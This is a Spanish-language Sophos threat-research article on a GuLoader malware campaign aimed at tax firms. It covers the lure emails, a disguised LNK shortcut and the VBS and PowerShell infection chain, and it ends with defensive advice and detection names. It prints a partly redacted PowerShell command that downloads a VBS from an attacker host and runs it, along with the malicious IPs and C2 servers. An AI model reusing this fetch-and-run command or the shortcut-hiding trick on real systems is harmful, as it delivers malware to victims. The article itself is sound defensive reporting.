Sophos News

Las empresas fiscales, objetivo de ataques de malware de precisión

Las empresas de contabilidad financiera y los asesores fiscales están en el punto de mira en la temporada de impuestos, ya que un grupo de ciberdelincuentes se dirige a ese sector con un ataque que combina la ingeniería social con un novedoso exploit contra ordenadores Windows para distribuir un malware llamado GuLoader.

Al menos dos organizaciones de ese sector, ambas clientes de Sophos, nos informaron del inusual ataque a finales de febrero y principios de marzo, cuando los contables están entrando en la parte más ajetreada de la temporada en Estados Unidos. (La fecha límite para la declaración de la renta este año es el 17 de abril).

El ataque comienza con un correo electrónico que solicita los servicios de la empresa de preparación de impuestos. El mensaje inicial dirigido al objetivo es benigno, con un asunto de Consultas sobre posibles clientes que no contiene nada más que una introducción y una solicitud de información sobre la “incorporación de nuevos clientes”.

El remitente del correo electrónico continúa afirmando que “El asesor que utilicé el año pasado se ha jubilado, así que aquí estoy buscando una nueva empresa con la que trabajar”.

Responder al anzuelo con un anzuelo mayor

Si el objetivo responde a esta solicitud inicial, el remitente envía un correo electrónico de seguimiento con un enlace a un archivo Zip protegido por contraseña alojado en un servicio de almacenamiento en la nube. El archivo Zip tiene un nombre de archivo que incluye el apellido de la persona ficticia que supuestamente envió el mensaje de correo electrónico inicial.

En cada uno de los mensajes que vimos dirigidos a distintas empresas de contabilidad, el atacante utilizaba nombres diferentes, como Rodney Williamson o Sarah Knapp.

El remitente falso utilizó la misma contraseña de Fresh@123 para el archivo Zip en las muestras que obtuvimos. Como el atacante solo envía el enlace a un asesor que responde al mensaje de correo electrónico inicial, muy pocos de ellos fueron capturados en trampas de spam. Las muestras que obtuvimos nos fueron enviadas solo después de que los objetivos se dieran cuenta de que estaban siendo atacados.

El remitente era muy conversacional y afable en los mensajes, ofreciendo  que el archivo Zip contiene “además de mis datos fiscales de los dos últimos años… una copia de mi permiso de conducir”. El atacante también pregunta al objetivo: “¿Estarías disponible para una llamada telefónica rápida el viernes?”. El autor de los mensajes conoce bien los eufemismos y la jerga fiscal. Estos mensajes, con algunos pequeños errores ortográficos o gramaticales, eran muy difíciles de distinguir de los que podría enviar un posible cliente legítimo de una empresa fiscal.

Proceso de infección basado en el engaño

Si la primera fase del proceso consiste en convencer al profesional de la contabilidad para que descargue y abra el archivo Zip vinculado, la siguiente fase está completamente fuera del control de la víctima.

El archivo Zip contiene dos archivos: un acceso directo de Windows (un archivo .LNK), y un adjunto señuelo benigno. En los ejemplos que recibimos, un Zip contenía un archivo benigno llamado screenshot1242.jpeg y otro contenía un archivo llamado privatecopy.pdf.

Ambos archivos eran la misma grabación de audio MP3 de tres minutos de duración, un archivo que suena como si alguien estuviera tocando un oud, el instrumento de cuerda similar a un laúd muy utilizado en Oriente Medio.

Cuando alguien intenta hacer doble clic en estos archivos señuelo, Windows (o la aplicación asignada al tipo de archivo correspondiente) lanza un error porque el archivo no es del tipo que parece ser. Adobe Reader o un programa de visualización de fotos no puede abrir el archivo.

Naturalmente, el destinatario haría doble clic en el otro archivo del archivo Zip: un acceso directo de Windows (archivo .LNK) etiquetado con un sufijo de archivo PDF y con un icono que lo hace parecer un documento PDF.

Inusualmente, el acceso directo de Windows ha sido manipulado de tal manera que Windows parece pensar que se trata de un Archivo de Script VBScript en la hoja de propiedades del acceso directo.

La acción realizada por el acceso directo tampoco es visible en la hoja de propiedades, en lo que parece ser un uso novedoso y malicioso de un exploit revelado públicamente por primera vez hace un año en una entrada de blog por el investigador @x86matthew, que trabaja para la empresa de investigación de seguridad ofensiva MDSec, con sede en el Reino Unido. Los atacantes han manipulado el acceso directo, anteponiendo un gran número de caracteres de espacio al campo Destino en las propiedades, de modo que el campo Destino aparece en blanco.

Sin embargo, cuando se visualiza con un editor hexadecimal, el contenido del texto del acceso directo aparece visible. Contiene un comando PowerShell con el siguiente aspecto:

Invoke-WebRequest http://0x[dos bytes hexadecimales].[ocho dígitos]/fresh/fordl.vbs -OutFile C:\Windows\Tasks\[ocho letras].vbs

El comando abreviado extrae un script de Visual Basic, lo deposita en la carpeta C:\Windows\Tasks y lo ejecuta. Un segundo comando adjunto al primero coloca un documento PDF real (del formulario W-2, 1099 o 1040 del IRS de alguien) en la misma ubicación y lo abre también, como señuelo.

La elaboración de la URL fue un tanto singular. El atacante parece haber mezclado dos formatos diferentes de dirección IP “sin puntos” (una combinación inusual de los tipos hexadecimal y “dword” de IP sin puntos) en una combinación que no es legible para los humanos, pero que las aplicaciones en red como PowerShell pueden entender e interpretar como direcciones IPv4 válidas.

El script mostrado arriba utiliza la dirección 0xC2.11808979 en la URL, que se traduce como la dirección IPv4 194.180.48.211. También descubrimos scripts que apuntaban a archivos maliciosos alojados en las direcciones 0x6D.13561923 (109.206.240.67) y 0x05.526436 (5.8.8.100).

Todos los servidores que alojaban el malware lo hacían dentro de directorios abiertos. Encontramos 29 variedades diferentes del VBS y otras 90 cargas útiles cifradas y sin cifrar alojadas en estas ubicaciones. Es posible que haya otros.

Un VBS muy ofuscado

El infectado inicial es un script de Visual Basic, muy ofuscado y de gran tamaño, más de 200 KB. Un bloque de datos codificados en base64 y cifrado comprende casi 150 KB de ese script, junto con el código que descodifica y desencripta el bloque de base64.

El VBS contiene dos grandes variables. En el script que analizamos, se llamaban Ir8 y O7, respectivamente, pero aunque los nombres de las variables estaban ligeramente modificados en cada variante del script que examinamos, el flujo general era el mismo. Funcionan en tándem para insertar datos en el Registro de Windows y ejecutar comandos PowerShell.

Cuando se descodifica, el contenido de la variable Ir8 (de la que se muestra un segmento a continuación) resulta ser simplemente otro script de PowerShell codificado, que el VBS descodifica y luego ejecuta.

El script PowerShell descodificado de la variable Ir8 utiliza Reflection.Assembly para cargar la carga útil final en la memoria a partir de un valor del Registro, sin escribirla en el disco. El script (que se muestra en parte, más abajo) convierte varias cadenas pequeñas en bytes, concatena la salida, realiza un BXOR para descodificar los bytes y, a continuación, convierte esos bytes en texto ASCII, antes de ejecutarlos.

¿Y el contenido cargado desde el Registro? Es lo que sale de la variable O7 (mostrada en parte, abajo, porque es demasiado grande para caber en una sola captura de pantalla). Los segmentos concatenados de datos base64 de O7 se insertan en el Registro, para que el script Ir8 los descodifique.

Tras la infección, la máquina tendrá en ejecución una instancia de un binario de Windows que, por lo demás, es benigno. En una máquina, descubrimos que el malware se inyectaba, utilizando el vaciado de procesos, en ielowutil.exe, utilizado por el navegador Internet Explorer, ya desaparecido, para ajustar la configuración del micrófono en el navegador. Pero el malware no inyecta su código exclusivamente en este exe; también se observó que el malware abusaba de otros componentes del ya desaparecido Internet Explorer, incluido ieinstal.exe (la herramienta que instala complementos en Internet Explorer).

El malware realiza otros cambios en la configuración de Windows durante el proceso de infección. Crea una Variable de Entorno a nivel de usuario (en nuestro caso de prueba, se llamaba SaltoQ), que apunta a la ruta completa del ejecutable PowerShell en el sistema.

Crea una clave Ejecutar en el Registro llamada Overproduce que invoca la variable SaltoQ para ejecutar un comando PowerShell en cada reinicio.

Y esa clave Ejecutar hace referencia a otra clave del Registro, en HKEY_CURRENT_USER\Cloglike, que contiene una parte del mismo código Visual Basic Script que estaba en la carga .vbs original que el malware descarga durante el proceso de infección.

Una vez infectado, el binario ielowutil.exe intenta constantemente ponerse en contacto con su servidor de mando y control, en 64.44.101.171:9191. Durante nuestros intentos de infectar máquinas con el malware, ese servidor C2 no respondió. Sin embargo, sí infectamos una máquina de prueba con otras muestras de este ataque, y algunas de ellas lograron conectarse a servidores C2 en 84.21.172.49:1040 (¡irónico número de puerto!) y 185.225.74.91:2080. Ambos C2 estaban activos en el momento de la publicación de este blog.

También detectamos que el ordenador infectado intentaba repetidamente resolver la dirección del dominio newmansubzero.com, que es la dirección 64.44. anterior.

Orientación y detección

Los asesores y los contables están muy ocupados en esta época del año, pero deben ser conscientes de que son objetivos de delincuentes a los que nada les gustaría más que los datos financieros confidenciales que reciben en abundancia en esta época del año.

El método de ataque en este caso aprovecha el ritmo frenético de la temporada de impuestos y utiliza una táctica de ingeniería social para allanar el camino para que el malware se entregue por correo electrónico. Por ello, es muy importante ser cauteloso cuando se te acerquen nuevos clientes potenciales. Pregúntales si quieren hablar contigo por teléfono directamente, quién les ha remitido a ti y si estarían dispuestos a venir en persona.

Sobre todo, desconfía de las personas que te envíen un enlace de Dropbox a un archivo Zip protegido con contraseña en cualquier época del año. Cuando el archivo Zip está protegido con contraseña, puede hacer que el contenido no sea escaneable por las herramientas de seguridad de los terminales. Si proporcionan una contraseña, descomprime el archivo y luego escanea el contenido con una herramienta de seguridad de endpoint antes de abrirlo.

El icono PDF utilizado para el acceso directo en el ataque también es distintivo y único. El icono, que no se parece al utilizado por ninguna aplicación lectora de PDF conocida, parece el icono de un documento de texto sin formato envuelto en una barra roja con las letras blancas PDF en su interior.

También es destacable que el icono tiene la flechita en la esquina inferior izquierda que indica que se trata de un acceso directo, y no de un documento. Es posible que un contable ocupado no se fije en ese detalle.

En caso de duda, también puedes hacer clic con el botón derecho (no con el izquierdo) en el icono, con un solo clic, y elegir Propiedades. Aunque la hoja de Propiedades no muestre el comando Powershell, si el archivo es un Acceso directo tendrá una pestaña Acceso directo (los archivos de documento normales no las tienen) y muestra con precisión que el “Tipo de destino” es un script de Visual Basic (archivo de script VBScript). Si pasas el puntero del ratón sobre el icono de Acceso directo, el acceso directo malicioso mostrará la información introducida en el campo Comentario, lo que hace que parezca que el documento es en realidad un PDF, cuando no lo es.

Si sigues sospechando que las cosas no son como deberían, pide al cliente potencial que te llame por teléfono antes de abrir los archivos. Los atacantes, en este caso, parecían limitar su comunicación al correo electrónico.

Los productos de Sophos detectan varios aspectos del ataque de forma bastante completa: Endpoint detectará el archivo de acceso directo como Troj/LnkObf-T o Mal/DownLnk-D y la carga útil VBS del acceso directo como VBS/Inject-IPG. Algunas muestras de carga útil pueden detectarse como Comportamiento, detecta las técnicas de inyección utilizadas por los atacantes como Evade_34a o Evade_34b. El código GuLoader en memoria también se detectará como Mem/Guload-A. Nuestros productos de seguridad de red bloquearán la comunicación con las direcciones IP utilizadas para alojar las cargas útiles y las direcciones C2.

Los indicadores de compromiso relacionados con este atacante y sus herramientas están alojados en el Github de Sophos X-Ops.

Agradecimientos

Sophos X-Ops quiere agradecer las contribuciones de Colin Cowie y Benjamin Sollman del equipo de inteligencia MDR, Sivagnanam Gn, Anand Ajjan y Anisha Kumar de SophosLabs, y del ingeniero de ventas Matthew Haltom a nuestra comprensión de esta amenaza y sus impactos.